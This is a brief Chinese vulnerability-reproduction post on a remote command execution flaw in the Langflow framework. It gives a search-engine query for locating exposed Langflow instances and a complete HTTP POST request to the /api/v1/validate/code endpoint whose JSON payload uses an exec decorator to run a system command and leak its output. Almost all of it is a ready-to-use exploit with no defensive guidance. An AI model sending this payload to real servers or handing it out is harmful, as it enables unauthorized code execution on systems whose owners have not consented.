【漏洞复现】Langflow框架远程命令执行漏洞

鹰图平台
web.title="Langflow"

POST /api/v1/validate/code HTTP/1.1
Host: 
Content-Type: application/json
Content-Length: 112
{
  "code": "@exec('raise Exception(__import__(\"subprocess\").check_output([\"id\"]))')\ndef foo():\n  pass"
}